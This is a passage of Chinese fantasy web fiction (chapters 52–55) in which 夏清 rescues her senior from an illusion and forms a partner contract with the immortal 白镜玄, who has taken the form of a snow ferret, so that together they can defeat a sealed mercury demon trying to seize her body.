水银从窟窿中穿过,蛇似的缠上她的手腕。 尖端之处,皮表的水银剥落,露出一只拳头大小的黑底红眸的眼睛。 “哎哟,这不是老熟人嘛。”水银涌动,响起沙哑的重音,“你千金之躯亲来蛮荒,难道是终于想起我了?嗯?镜玄仙尊?” 第52章 第五十二章 白镜玄脸色难看。 见她不应声, 水银下那只黑色的眼睛咄咄逼人:“你不回答,我就当你默认了,真是难得啊, 没想到我有朝一日, 能看见仙尊您如此狼狈脆弱的姿态。” 与白镜玄交手的瞬间, 幻妖就敏锐地发现了白镜玄的不对劲。 她的实力大幅削减, 出剑威力不足过往的百分之一。 更有甚者,她竟然会心软。 这可是天赐良机。 幻妖苦于封印镇压无法离开荒古遗迹这座囚笼, 苦苦等了几千年,终于让它等到转机。 一日之内,遗迹中接连闯入两个人类, 虽然修为一个比一个低, 但好歹有血脉,有传承,可以借由她们的肉身离开荒古遗迹。 它万万没想到, 这一日还会再见到白镜玄。 说起来,它和白镜玄可是有旧仇的。 仙界一日,蛮荒一年,蛮荒几千年前发生的仙魔大战, 对于仙界来说,不过短短十数年。 魔族被仙族和神族一起打入魔渊,白镜玄自然也参加了那场大战。 将幻妖封印在这遗迹中的,正是白镜玄。 “果然因果循环, 报应不爽。”水银包裹的眼珠子发出难听的笑声,“你这副样子竟然敢现身蛮荒, 与其让你那些仇家把你这具金仙真身糟蹋了,不如把它送给我。” 水银眼珠咯咯笑着, 穿透白镜玄手掌的水银涌动起来,化作千万根银针,从破溃的伤口扎进血肉,沿着经脉向内蔓延,侵蚀白镜玄的身体。 白镜玄反手一掌震断自己的左臂,速度之快,没有任何犹豫。 经脉骨骼都被被强行阻断,那团水银并不气馁,却爆发一阵尖锐的笑声:“哈哈哈哈,白镜玄,你一点都没变,还是这么狠!” 话音未落,无数水银突破血肉继续向上蔓延,到被白镜玄法力阻断的节点,它们化作尖刺活跃地撞击,尝试冲开封锁。 白镜玄右手按住左臂,眼看着手臂被水银覆盖的皮肤灼烧变黑,血肉在毒物腐蚀下开始溃烂,脸色前所未有地凝重。 这幻妖最为难缠,仙魔大战时就没能取它性命,只能暂时封印,没想到这么多年过去,它不仅没有衰败虚弱,反倒更加难以对付了。 “你无法抵挡,不如乖乖听话。”幻妖的笑声愈发狂妄,“不把肉身交给我,你也走不出这荒古遗迹!” 白镜玄脸色渐渐发白,她的法力正在飞速流失,夏清的修为本就不及柳菡云,抽取夏清的法力化形只能维持半柱香的时间。 幻妖继续冲击封锁,白镜玄的左臂已经严重扭曲变形。 “你休想!”白镜玄眼底掠过一抹冷光。 剩余不多的法力汇聚于白镜玄右手掌心,幻化为筷子那么长的小剑。 锃—— 剑鸣声响,小剑穿透她的左臂,精准地刺穿那只藏在她皮肤下面,黑色的眼珠子。 幻妖猝不及防,爆发惨烈的尖叫声。 白镜玄面不改色,口中继续默念咒诀,加大法力输出。 这点法力或许杀不死幻妖,但若凭依她的肉身,足够将其囚困封印。 这是唯一能保证夏清不被此妖所伤的法子。 幻妖意识到白镜玄的目的,水银身躯极速抽退,叫骂连连,但它妖目被白镜玄定住,无论如何挣扎都是白费工夫。 白镜玄面露疲态,但眼底幽光闪烁:“纵然本座虎落平阳,又岂是尔等奴犬之辈能挑衅冒犯的?!” 言罢,她右手掌心亮起一束暗金色华光,整只左臂被金光笼罩,须臾间,固化为金玉,将那试图逃窜的幻妖封印。 结束法术,白镜玄身躯一晃,阵阵晕眩之感冲撞她的识海,她甚至没来得及再看一眼夏清,便当即倒地昏迷。 不知过了多久,夏清悠悠转醒。 她脑子迷迷糊糊,浑身没有力气,虚弱无力,尤其后脖颈不知怎么回事,特别特别痛。 片刻后,视野清晰,周围环境映入眼帘,夏清陡然忆起自己昏迷前发生的事情。 她先是一惊,随后低头看看自己,手脚好端端的,没有缺胳膊少腿,身上也没有明显的外伤。 很好,那怪物应该是被白镜玄击退或击杀了。 她正待起身寻找白镜玄,忽而眼角余光瞥见一团柔软的白色毛茸茸。 毛茸茸的小动物侧躺在地上,姿态与平常睡觉的样子大不一样,而且毛色黯淡无光。 夏清心里一咯噔,升起不好的预感。 但她立即呸呸呸几声打消自己的念头,扶着墙站起来,一步一顿地走向小雪貂。 周围墙壁地面上布满清晰的剑痕,可见白镜玄与那怪物交手场面激烈。 随即,夏清发现小雪貂左侧前肢的异样。 它的左侧爪子变成玉质,形态颇为古怪。 夏清心颤了颤,伸出的手顿在半空,愣怔几秒钟,才小心翼翼碰了碰小雪貂的鼻子。 还有呼吸。 提起的一颗心扑通落回胸腔中。 确认小雪貂还活着,夏清竟然手脚发抖,不知是体力透支的缘故,还是出于别的什么原因。 她大口大口喘气,坐在地上歇了一小会儿,等呼吸平稳了,便伸手将小雪貂抱起来。 小雪貂左侧爪子虽呈现玉的色泽,但入手温热,余留小雪貂的体温。 夏清将它拢在怀里,不知该如何把它唤醒,一时间茫然无措。 她连它如何伤的都没有头绪。 那只会变形的妖怪竟然如此可怕,连白镜玄都会被它所伤,真不知道它是什么来头。 不过,既然那妖物没有取自己的性命,便该是被白镜玄击退了吧?应该……不会再出现了? 夏清心里没谱,脑子也乱糟糟的。 她迫使自己冷静下来,暂且分析一下目前局势。 白镜玄昏迷不醒,柳菡云还在这遗迹中,不知身处怎样的危机。 夏清自己不知道小雪貂伤在哪里,但可以先去找柳菡云,说不定柳师姐能替她出出主意。 心中虽然迅速有了决断,但夏清的情绪却十分低落。 小雪貂双眼紧闭,气息奄奄,夏清从未见过它如此狼狈的样子,心口倏地一阵揪痛。 她甚至有些后悔先前的决断,因为她选择了更容易保全自己的方案,从而让白镜玄身处险境,还因她受伤。 夏清与柳菡云来荒古遗迹,本就是为了治疗白镜玄身上的毒伤。 可时至今日,她们没有找到荒古异兽,反而陷入重重困境,还让白镜玄伤上加伤。 夏清深吸一口气,嘴唇抿得发白。 必须立即做点什么才能让她心里好过一些。 她伸手摸摸小雪貂的脑袋,低头在它额头轻轻印下一个吻。 “等我。”夏清小声呢喃,“你千万不要有事。” 言罢,她将小雪貂抱进怀里,强撑着一口气站起来。 临时契约感应到柳菡云就在附近,就在这片遗迹之中,已经很近了。 至于那只怪物是否还活着,夏清不得而知,但她只能赌一把。 赌它被白镜玄重伤,甚至斩灭。 夏清用之前剩余的两枚妖兽内丹恢复体力,感觉四肢松活一些,能自如行动了,她立即掐诀念咒,召出自己的小灯笼,查找地面上有无柳菡云的脚印。 功夫不负有心人,夏清很快有所发现。 从遗迹入口进入大厅,往左侧走的长廊中,夏清发现了另一个人类的脚印。 脚印还很新,应该就是柳菡云留下来的。 除了柳菡云的脚印之外,地面上还有一大片水渍般的痕迹,夏清俯身仔细观察,无法辨别地面上残留的是什么物质。 不过这不重要,先找到柳菡云要紧。 她提着灯笼顺着脚步方向往遗迹深处走去,跟随地上的脚印一直走到长廊尽头。 柳菡云的脚印到这里就消失了。 脚印来到尽头往右转了方向,但左右两侧都是高高的石墙,没有别的路可以走。 夏清蹙眉,凝神思考须臾,掐了诀引灯笼的光投射到石墙上。 光芒照亮石墙,夏清在石墙与地面的夹缝下,看到了新的脚印。 也就是说,这面石墙原本不在这里,它是可以被移动的,或者……被摧毁。 夏清当机立断,退后两步,指间夹起一片雷符,扔向右侧那面石墙。 轰隆—— 石墙被炸开一个窟窿,露出后面无限延伸的通道。 砖墙坍塌,碎石铺满道路,但底下被掩藏的脚印仍然清晰可见。 柳菡云就在这里,夏清内心笃定。 她抬步迈进甬道之中,尽可能走得更快一些。 绕过遗迹中九拐八拐的回廊,夏清一个人的脚步声衬得遗迹愈发空旷诡异。 便在这时,脚步的回声中夹杂着零星异响。 夏清停下来仔细倾听,果然听见墙后传来阵阵金铁交际的脆鸣。 她毫不犹豫扔出一枚雷符开道。 轰隆巨响之后,墙面坍塌,随即一道锐利风刃扑面而来。 夏清尚未看清墙后局面,便本能地侧身闪躲。 那风刃击中她背后的回廊墙面,在墙壁上留下几道清晰的刮痕。 夏清惊险地躲过攻击,循着攻击来处看去,便见柳菡云正拿着法器朝四下攻击,而她周围…… 没有敌人,也没有怪物。 “师姐!”夏清大声呼叫柳菡云。 对方听见呼唤,不仅没有清醒过来,反而举着她的玉扇朝夏清又挥出几道风刃。 夏清:“!” 她迅速躲闪,侧身闪避时,特地留意了柳菡云的手背。 柳菡云手背上清晰可见一只小王八。 太好了,夏清提起的心放下,这个柳菡云是真的。 但真的柳菡云状若疯魔,双眼充斥着红色血丝,奋力喊杀,不断与空气搏斗。 夏清一边躲开柳菡云的风刃,一边推测状况。 柳菡云只怕是中了幻术! 第53章 第五十三章 古老的遗迹笼罩在一片通红的血雾中, 柳菡云脚下踏着上古遗留的青石砖,鲜血浸染砖石上的纹路,让厮杀的场面更多了几分诡谲与阴霾。 锃—— 又一个阴兵被风刃撕成两半, 倒飞出几丈远, 落在地上摔得四分五裂。 柳菡云没来得及喘口气, 破碎的铠甲突然腾空跃起, 重新聚拢,满地散落的骨骼也再次组合成人的模样, 手中拿着一把长枪似的武器,又一次朝她冲过来。 这是……第一百九十三次。 这座古老遗迹果然诡异,她深入长廊探索遗迹, 无意间闯进这个单独的石室, 来不及撤退,就被阴兵偷袭。 但是,这些偷袭她的阴兵竟然能在破碎之后重生, 杀不尽,杀不完。 她体内的法力已经消耗殆尽,继续这样下去,她迟早死于阴兵利刃之下。 可这石室内有结界, 凭借她自身的力量,无法从内部突破,除非……夏师妹赶来支援,从外部突破结界。 这个想法在心中浮现, 柳菡云脸上笑容颓然。 就在刚才,临时契约感应之中, 夏师妹也遭遇了艰险。 难道,她就要坐以待毙吗? 柳菡云再扔出一道风刃, 三五阴兵同时被击退,盔甲破碎,骨骼散落。 但不出三息,它们就会重新汇聚,完好如初。 柳菡云咬牙切齿:“再来!” 夏清看见柳菡云发疯发狂,几已陷入魔障,对外界的声音充耳不闻。 要么是她走火入魔,要么就是中了幻术。 在这妖异诡谲的遗迹之中,任何事情发生都不奇怪。 眼看柳菡云又一次朝自己冲过来,夏清心念电转,翻手召出福生鼎,一个法诀打在鼎上,福生鼎盘旋着飞出去,直冲柳菡云。 如此庞然大物出现在眼前,还是引起了柳菡云的注意。 面对迎面冲来的福生鼎,柳菡云勃然大怒,手中玉扇翻飞,风刃一束接一束,当当之声不绝于耳。 夏清手诀一变,福生鼎猛地往下扣。 柳菡云理智不在,但战斗本能没有消失,觉察到危机,她立马抽身飞退。 夏清哪能让她躲开,当即扔出一张木灵符。 木灵符落地生根,数根藤蔓飞蹿起来,群蛇似的冲向柳菡云。 柳菡云在这密室之中受困不知多久,纵然疯癫却已露疲态,玉扇甩出的风刃斩落两根青藤,但更多的藤蔓却闪电般束缚了她的手腕脚腕。 好机会! 夏清神色一凛,当机立断:“落!” 福生鼎盘旋坠落,轰一声砸在地上。 鼎内,柳菡云很快挣脱手脚上藤蔓的束缚,但福生鼎限制了她的活动空间,她突破不成,开始疯狂攻击福生鼎。 轰隆隆的震鸣之声不绝于耳,夏清站在鼎外,勉强松了一口气。 她来到福生鼎前,伸手按住福生鼎鼎身,闭眼默念净心神咒。 神咒如梵音穿透福生鼎,在柳菡云耳侧环绕。 渐渐的,鼎内之人的攻击不再密集,随着净心神咒的作用开始生效,柳菡云慢慢恢复神智。 等猝然袭来的晕眩感缓慢消失,眼前的幻象都不见了,取而代之是茫茫黑暗。 只有一道熟悉的声音隔着一层厚厚的墙,将陌生的咒文送入她的双耳。 柳菡云迟疑:“夏师妹?” 黑暗之外,念咒的声音停止了。 不多时,大鼎抬起,光芒从缝隙间透进来,照亮她的身体。 夏清站在不远处,单手托着福生鼎,神情疲惫。 “柳师姐。” 柳菡云视线落在夏清身上,随即周围场景映入眼帘,除了右侧一面坍塌的石墙与外连通,其他三面墙壁上密密麻麻全是交错的利器划痕。 对于自己的法器能造成怎样的伤害,柳菡云再熟悉不过。 但是,四壁空空,不见任何一具阴兵的骸骨。 柳菡云感到一阵茫然,懵懵懂懂地望着夏清的双眼:“师妹,那些阴兵哪儿去了?” “阴兵?”夏清皱起眉头,仔细观察柳菡云的神色,心中* 已有猜测。 恐怕方才柳菡云所经历的幻象,便是大战阴兵吧。 她摇了摇头:“没有阴兵,师姐,你中了妖怪的陷阱,被幻象迷惑了心智。” 柳菡云顿感愕然:“陷阱?” 难怪她一路走来顺风顺水,还捡到好几件宝贝。 诶,宝贝! 她迅速低头查看自己此行的收获,除了胸口佩戴的晶石坠子,其他那些各式各样的法宝都不见踪迹。 柳菡云大吃一惊,结合夏清告诉她的真相推断,她捡到坠子之后所经历的一切,恐怕都是妖怪所设幻象。 “我怎么这么轻易上当……”柳菡云明白过来,顿觉懊恼,扶额纠结,“又给师妹添麻烦了。” 自踏入荒古遗迹之后,路上经历总是险象环生,夏清已然身心俱疲。 她叹了口气,摇了摇头:“师姐,并非如此,是妖物过于邪祟,以残害生灵为乐,才使我们遭遇艰险。” 夏清冷静而宽容,但柳菡云自己却仍然自责,垂头丧气。 “既然已经脱险,我们速速离开这里。”夏清招呼柳菡云,这是非之地还是不要久留为好。 柳菡云应了声好,跟着夏清走向石室出口。 便在这时,她膝盖一软,扑通一声跌倒在地。 夏清闻声回头,惊愕:“师姐!” 战斗结束之后,先前透支法力所积累的疲惫全部叠上来,柳菡云脸色发白,神情虚弱。 “师妹,你且将此物拿着。”柳菡云从自己脖子上摘下那枚坠子,递给夏清。 夏清面露疑惑:“这是什么?” 柳菡云道:“护身法宝。” 夏清明白过来柳菡云的意思,当即推拒:“不要,师姐,你自己收好。” “师妹……” 柳菡云还待再劝,被夏清抢白打断:“当务之急,是快快打坐恢复体力,我们好尽快离开这里。” “可是……” “没什么可是的。”夏清继续说道,“况且,我还有一事需要师姐帮忙。” 闻言,柳菡云眼睛亮了一些,似找到将功补过的机会,追问夏清:“什么?师妹你尽管说来。” 夏清也不与她客气,语气冷静:“师姐你的见识比我渊博,我的小貂儿在遗迹外与妖物交手时受了伤,眼下昏迷不醒,我想请师姐帮我看看,它伤得重不重。” “什么?!”柳菡云震惊,“小貂儿受伤了?!” 反正柳菡云眼下一时半会儿也走不了,夏清便将小雪貂从怀里抱出来,让柳菡云看看。 柳菡云一眼便瞧见小雪貂左侧玉化的爪子,脸色猛地一沉。 “师妹,那妖物是何模样?” 夏清观柳菡云面色,便知此事不简单,遂皱起眉头讲述缘由。 “那妖物真身我没有见到,但她能幻化为师姐的模样,起先我还被它蒙骗了。”夏清言简意赅地说道,“若不是小貂儿发现异样,令我辨别此妖伪装师姐,我恐怕也要着那妖物的道。” 眼看柳菡云脸色越来越差,夏清追问:“师姐可知,貂儿怎么了?” 柳菡云欲言又止,似不知如何开口,亦或心有顾忌。 夏清已意料此事不同寻常,尽管不好的预感愈发强烈,心头一沉再沉,她还是鼓足勇气开口:“师姐,不必有所顾忌,真相如何你若知晓,便都告诉我吧。” 柳菡云这才叹了口气,无奈说道:“若我猜的没错,师妹你和貂儿应该是碰到幻妖了。” 夏清喃喃重复:“幻妖?” “此妖物最善伪装,能千变万化,我们峰上古籍中有记载,上古神魔大战之时,幻妖作为魔族先锋,幻化为仙兵潜入大营,斩杀了仙宫一元重将,令仙族损失惨重。” 除此之外,古籍中还有对幻妖的描述,其本体像一滩不聚形的液态金属,不怕烈火烧灼,也不惧刀兵利刃,此物极为难除,直到神魔大战结束,它们仍然没有被除尽。 只不过,为了杜绝它们跑出来为祸人间,仙宫派人将它们设阵封印。 这些封印后来与荒古遗迹融为一体,成为荒古遗迹的一部分。 夏清听得柳菡云的描述,回想起自己来时路上观测到的液态痕迹,心中已有答案。 “没错,应该就是幻妖。”她看向柳菡云,眼含希冀,“那貂儿这伤……” 柳菡云深吸一口气,而后道:“这是一个封印,妖物尚未灭除,被封印在貂儿的身体里。” 夏清面色骤变:“你说什么?!” 话都已经说到这个份上,柳菡云也不好再有所保留,沉声说出最坏的可能:“上古神魔之战时,神族都拿幻妖没有办法,只能将它们封印,而重获自由应该是它们最大的心愿,所以……” 柳菡云话音顿了顿。 “它有可能会设法突破封印,占据貂儿的肉身。” 第54章 第五十四章 幻妖有可能占据白镜玄的身体。 夏清瞳孔一缩。 低头看向躺在她怀中, 昏迷不醒的小雪貂,夏清慌了手脚。 怎么会这样,她可是白镜玄, 是九瑶川无情剑道第一人, 怎么会被区区幻妖占据肉身? 柳菡云见夏清久不说话, 知她担忧, 怕她忧思过重,遂出言宽慰:“师妹, 你也别太过担心,你这貂儿既然能使出如此厉害的封印法术,说明它的来路不同寻常, 自身便有极深的底蕴, 也不一定能被幻妖左右。” 夏清愧疚难当地闭上双眼。 她知道柳菡云这番话只是在安慰她,柳菡云不知道貂儿的真身,蛮荒大陆上的妖修, 能有几个是幻妖的对手? 但柳菡云说得也没错,白镜玄底蕴深厚,既选择用此封印法术禁锢幻妖,应当有她的把握。 夏清做了好几个深呼吸, 尝试说服自己不要担心。 可惴惴不安的心情不受理智约束,依然如一把烈火,在夏清心口烧灼。 如果不是受了毒伤,如果不是她修为低微, 使得白镜玄没有足够的法力驱使,她怎么会选择将幻妖封印在自己的身体中呢? 她的潜意识知道答案, 知道白镜玄会这么做,是因为别无选择。 既然别无选择, 又怎么能保证安危呢? 夏清抱着小雪貂的双手无意识地轻轻发抖,柳菡云见状,心说这貂儿真是夏师妹的心头肉。 貂儿护主,是只好貂。 柳菡云颇为动容,先前对小貂儿的成见此刻一笔勾销。 忽然,夏清抬头问她:“有没有什么办法能彻底消灭幻妖?” 柳菡云摇头:“除非幻妖现出本体,一击之内破其魂核,否则就只有……” “只有什么?” 柳菡云沉声:“只有杀死宿体。” 也就封印幻妖的肉身。 夏清心头一震。 这法子当然不可取! 她又追问:“那有没有办法将这封印转移到别的地方?” “唔……”柳菡云沉吟,面露难色。 夏清也知道自己这番追问乃是无理取闹,可她忍不住问。 万一呢? 哪怕希望再渺茫,万一有别的可能,总好过茫然地坐以待毙。 柳菡云的沉默让夏清的心狠狠沉入深渊。 当真没有别的法子吗? “也不是没有办法……”柳菡云犹豫着开口。 夏清倏地抬头,古老遗迹晦暗天光的映照下,照亮她眼底一抹晶莹。 柳菡云怕她期望过高,而失望太沉,因此及时泼一盆凉水:“这个法子的作用条件非常苛刻。” 夏清深吸一口气,追问:“什么法子?” 再苛刻的条件,也比没有办法来得更好一些。 柳菡云回忆自己看过的典籍,告诉夏清:“古书上有记载一种将封印从一个人身上转移到另一个人身上的办法,不知道这种法子对小貂儿有没有用。” 夏清言之凿凿:“可以生效!” 别的异兽或许不行,但貂儿可以,白镜玄的本体是人而非兽。 柳菡云不知道夏清那么肯定有何依据,但这不重要,她继续说道:“就算可以用,也还有许多限制,一来,受印者本身需具备足够的实力压制封印,二来嘛……这种法术只对缔结了伴侣契约的双方生效。” “伴侣契约?”夏清捕捉到关键词。 柳菡云点头:“对,顾名思义,伴侣之间才会缔结的特殊契约。” 说完,她看了眼夏清怀里的小雪貂,神情无奈。 这小貂儿对夏清再如何重要,夏清也不至于舍身同一只异兽缔结伴侣契约。 柳菡云心里叹息,虽然为貂儿感到遗憾,但夏清即便放弃施救,也是人之常情。 夏清果然没再求着让柳菡云继续想别的办法。 师妹应当已经认清现实。柳菡云心想。 夏清抿起唇,深吸一口气,调整好情绪,而后对柳菡云说道:“师姐,我们速速离开此地去找奇兽之血。” 柳菡云没有异议:“好。” 夏清双眼有些失焦,如自言自语般小声嘟囔:“先找到奇兽之血,然后回圣宫,圣女乃朱雀传人,通晓古今,说不定能有别的办法……” 柳菡云欲言又止,但终究没有开口干预。 但愿小貂儿福大命大,能躲过此劫。 既做下决定,待柳菡云体力稍稍恢复一些,两人便起身离开遗迹。 来时走过的路,原路返回没有耗费太多时间,不多时,夏清二人便来到遗迹外围。 踏出遗迹大门时,柳菡云想到什么,提醒夏清:“幻妖被禁锢于此地多年,这遗迹本身应当具有压制幻妖力量的作用,我们带着貂儿离开,幻妖失去遗迹力量压制,可能会有异动。” 夏清闻言,神色茫然。 “你的意思是,要将白……不,小貂儿留在此地?” 柳菡云面色凝重地摇了摇头:“我只是提醒师妹早做打算。” 她明白夏清绝不可能将貂儿独自留在遗迹之中,且不说荒古遗迹内那么多豺狼虎豹,就是她们离开之后,也未必能再找得回来。 夏清心里仿佛吊了一块大石头。 师姐说的早做准备,是什么意思? 怀着如此惴惴不安的心思,夏清抱着小雪貂走出遗迹。 荒古遗迹内没有日月,也不分白天黑夜,因此她们离开时的天色与来时并无二致。 可当她们沿着缓坡上行,走到环形凹坑上方,即将彻底踏出遗迹范围之时,天空中忽然爆发一声雷响,一束暗紫色的雷光从天而降,轰隆一声劈到夏清……不,是夏清怀中的小貂儿身上。 柳菡云大惊:“师妹!” 夏清受貂儿牵连,被这怒雷一击炸出老远,落地翻了几个跟头才停下来。 待烟尘散去,柳菡云看见夏清抱着小貂儿躺在地上,将小貂儿牢牢护在怀里。 纵然如此,她也没有松手。 这一记惊雷在夏清身上留下一些烧灼的痕迹,好在没有夺走夏清的意识,但通体痛麻的感觉残留了许久。 夏清睁眼,待手脚恢复知觉,第一反应是看看小雪貂是否伤上加伤。 万幸,貂儿的肉身哪怕中毒异化,也比她自己强上不少,这雷在小貂儿身上连根毛都没有烧焦。 可夏清来不及庆幸。 因为很快,她发现了小雪貂身上的变化。 它左侧爪子玉质部分与肉身相接的位置色泽发黑,如蛛网状的暗紫色血丝瘟疫般向它肩胛方向扩散。 夏清倒吸一口气:“卿卿!” 柳菡云一个箭步来到夏清身边,见状沉声:“不好!幻妖果然想占据貂儿肉身!” 刚才那一击怒雷说不定就是幻妖引来的。 它想借雷霆之力削弱封印,从而趁机将其打破。 蛛网状的暗紫色血丝扩散迅速,短短数息便扩散覆盖小貂儿身体四分之一的面积。 夏清抱着貂儿,手脚发凉。 柳菡云则无奈摇头:“不行的,阻止不了。” 血丝还在蔓延,小貂儿四肢抽搐,皮毛渐渐泛出紫光,可见它肉身承受着巨大的痛苦。 “有法子。”夏清突然开口,“师姐,伴侣契约,如何施展?” 柳菡云闻言先是一愣,随后大惊失色,不确定道:“你说什么?” 夏清抬高声:“伴侣契约!” 柳菡云大受震惊:“你……” 她原想说为了一只异兽至于吗,可当夏清闪烁着盈盈泪光的双眼装进她的视线,她倏然沉默,脑海中掠过的想法一个字也说不出口。 纠结许久,最终,她叹息道:“你真的想好了?伴侣契约一旦结成,日后除非它意外身故,否则你若想解开,必将承受锥心刺骨之痛。” 伴侣契约事实上是是对另一半的承诺,是执子之手与子偕老的誓言。 违背誓言,会受天道反噬。 反噬的效果柳菡云没有体验过,但她听过一些天宫传闻,曾有伏神因为解除了伴侣契约疯魔。 夏清今日如果一时冲动与这异兽结成伴侣契约,便再没有回头路可走。 可哪怕柳菡云一再警告提醒,夏清仍着了魔似的,执迷不悟,态度坚决:“请师姐教我。” “……”柳菡云沉沉一叹。 这时候,她倒是希望自己不会这个法术。 可对上夏清目光,她也感受到了夏清的决心与内心的力量。 就在她左右为难之时,毒瘴般的血丝已经覆盖了小雪貂大半身体,封锁于咽喉四周,像遭遇什么力量抵抗,扩散速度暂时减缓。 夏清语气中带上一点哀求:“师姐!” 柳菡云用力跺脚:“你怎么恁地死心眼儿,为了一只异兽,何必搭上你自己?!” 异兽护主本就是职责所在,夏清怎么就想不通呢? 夏清哽咽:“她不是寻常异兽,她……” 她话没说完,怀中貂儿猛地抽搐起来,暗紫色的血丝沿着它的脖子又往上延伸了半寸。 夏清慌乱无措,只能求助于柳菡云:“师姐,求你了!只求你帮我这一次!” 柳菡云狠狠抓狂,终究拗不过夏清的坚持,将缔结伴侣契约的口诀传授给夏清。 她念一句,夏清跟着念一句,同时在小貂儿额头上轻轻勾勒符印。 当最后一个音节念完,小貂儿额前亮起淡淡金光。 与此同时,夏清手背上,先前白镜玄给她施加的临时契约,竟然同频闪共振,闪烁起一明一暗的华光。 夏清微微发怔,没明白这异象代表的含义。 忽然,她眼前一暗,周遭景象猝然变幻。 满目殷红撞入她的视野,入目所见竟是片汪洋血海。 流淌滚动的银色金属爬满天空,生出数不清的枝节将她包围,就在她即将被吞噬的瞬间,一条臂膀揽住她的腰身,拉着她飞快后退。 那手背上,也有一道闪烁的符印。 第55章 第五十五章 夏清耳侧, 响起喑哑而无奈的话语声:“小傻子。” “!”夏清猛地扭头。 白镜玄略显疲惫的侧脸映入她的眼帘。 即便面色较平日惨淡许多,白镜玄仍然风华无双,容颜绝色。 血海中沸腾的气息吹拂在她们身上, 翻滚的银色金属中鼓起一个大包, 随即表面的涂层剥落, 露出底下黑底红瞳的眼珠。 怪物的语气十分不可置信:“伴侣契约?!” 怎么可能呢? 白镜玄竟会与人缔结伴侣契约? 这比天崩地裂, 海枯石烂,荒古遗迹结界消失还要令人震撼。 夏清从惊愕之中回神, 听见响动回头看向空中那个巨大的怪物,倒吸一口冷气:“这是什么怪物?” 也太大了,它水银般的身躯将天地几乎完全覆盖, 唯一安全的空间是靠着白镜玄微弱的法力撑起的一小片结界。 约摸只有十米方圆。 白镜玄环绕夏清腰身, 退到结界范围之内,闻言回答:“幻妖。” “幻妖?”夏清倏地睁大双眼,“那这里是……” 白镜玄睨她一眼, 无奈中透着好笑:“你不知后果,便敢追加契约?” 夏清仍旧茫然,不懂白镜玄为什么要笑。 形势危急,白镜玄不再逗她, 语气平静地告诉她答案:“这里是我的识海。” 夏清:“!” 也就是说,她的神识被吸入了白镜玄的识海,她们此刻在小貂儿的身体里面。 难怪她能看见幻妖,原来在她昏迷后毫无知觉的那段时间里, 白镜玄独自面对这样的怪物。 诡谲的水银已经覆盖了识海大半空间,留给她们活动的余地已不剩多少。 夏清想起柳菡云告诉她的方案, 急忙劝说白镜玄:“你快把这个封印转移到我的身体上!” 白镜玄闻言,凤眸斜飞, 神色惊怒:“胡闹!” 夏清怎么能有这样的想法。 “你的身体有毒伤,撑不了太久。”夏清晓之以理,“先把它转到我的身体里,我们再想别的办法!” 未等白镜玄开口回答,那幻妖突然哈哈大笑:“好一个用情至深的小丫头,你以为你一腔深情爱上,不惜一切护着的人是谁?” 夏清抿唇。 “可知,在数千年前,也有一个傻丫头如你这般深情款款,恨不得将自己的心掏出来给她看,可结果呢?”幻妖那颗黑色的眼珠子滴溜溜转,“她被你舍身相护的这个人,剃了仙筋仙骨,亲手打落魔渊!” 闻言,夏清脸色发白。 白镜玄错身上前,将她拦在身后,直面幻妖:“休要信口雌黄,搬弄是非!” “我信口雌黄,搬弄是非?”幻妖笑得癫狂,漫天的水银都在颤抖,四散飞溅,“白镜玄,没想到有朝一日,你也会说谎。” 白镜玄怒气已叠了满身,握住夏清的手,两枚契约相叠,共振力量持续增强,竟将她们身外的环形结界撑大一些。 夏清愣怔间,白镜玄垂眸看她一眼。 开口时,语调已恢复和缓:“清儿,莫听此妖胡言。” 夏清回神,与白镜玄对视片刻,理智迅速回归,按下心头异样的涩感,回答道:“我自然信你,你且快将这封印……” “无妨。”白镜玄打断她,“你来此之前,我只有三成把握,但如今,你我联手,压制此妖不费吹灰之力。” 夏清愕然:“真的吗?” 白镜玄点头。 事实上,她没想到夏清会来。 她偷偷刻在夏清手背上的契约是单方面的承诺与约定,不曾料想夏清这么快就将另一半契约回馈给她。 而夏清许诺给她的契约与她手中的契约相拼合,最终所形成的,才是完整的伴侣契约。 缔结契约的仙侣双方,共享法力法宝,且彼此的精神力量会受到契约的保护,也就是说,除非幻妖同时摧毁她和夏清两人的元神,否则就不可能夺走她的肉身。 白镜玄贴在夏清耳侧小声说道:“你按我说的做。” 元神说话时不会呼出热气,但夏清仍感觉耳尖似乎擦过一抹柔软的触感。 她沉心静气,按照白镜玄的指令挥手,福生鼎和定沙神针两件法器同时出现在识海中。 幻妖觉察白镜玄的意图,讥笑着催动妖力:“泥菩萨过江,自身难保,竟然自己送上门来,真以为能救得了她?我倒也想尝尝这鲜嫩的魂魄的味道。” 白镜玄冷哼一声:“你休想!” 福生鼎凌空飞出结界,在空中膨胀,将飞射而来的水银一口吞噬。 水银部分取之不尽用之不竭,可以无限幻化,只有那只眼睛无法改变,也不能增加数目,它才是这幻妖的本体。 但它比任何人都更知道自己的弱点,因而当白镜玄指示夏清招来这些法宝,它便重新将眼睛埋入水银,四处飞蹿,躲藏起来。 夏清听从白镜玄的安排,掐诀驱使福生鼎,致使福生鼎腾挪方位,不断侵吞幻妖向外延伸侵蚀的触角。 这福生鼎好生厉害,幻妖被惹得恼了,催动天幕中的水银掀起一场海啸。 几百丈高的水银巨浪扑向夏清,面对如此滔天的威压,福生鼎也显得脆弱渺小。 白镜玄伸手一招,定沙神针飞入她手。 随即,她将法力凝结为一张弓,定沙神针层层展开,幻化为滚烫炽热的尖枪搭于弦上。 嗖—— 利箭飞射出去,穿过水银天幕,精准射中躲在背后的眼球。 幻妖:“啊啊啊啊!!!!” 铺天盖地的水银巨幕轰然破碎,余下一些零散的雨点拍打在白镜玄二人身外结界上,余威已不剩太多。 这些水银溃散之后,一部分被福生鼎炼化,剩下的则在定沙神针绽开的烈火烧灼之中化作灰烬。 幻妖露出它的本来面目,定沙神针刺穿它的眼球,汩汩紫红色的鲜血自伤口处往外渗透,而它竟然无法挣脱。 “这是什么东西!”幻妖爆发惨叫。 烈火焚烧之下,它那数丈高的大眼珠子越来越小,到最后,只剩拳头那么大。 而刺入它身体的那根利箭,竟然也跟着缩小,变成筷子粗细的一根钢针,禁锢了它的魂魄。 它的身体像破了个窟窿,妖力源源不断从窟窿中流走。 忽然,锋锐的寒意笼罩了它,它猛地抬头,便见白镜玄身后绽开数千道剑光。 正是白镜玄的拿手神技,紫微剑诀。 心头狠狠一跳,危机临身,幻妖本能的求生欲瞬间激发,没有任何犹豫抽身飞退。 剑光追着它远去,直至没入那层半损的封印,不知道击中了没有。 而封印所在的光幕荡漾起一层水波纹,静谧之中,能量屏障缓缓修复。 夏清目睹这一切,叹为观止。 水银怪物退却,识海天地恢复平静,脚下血海也不再沸腾。 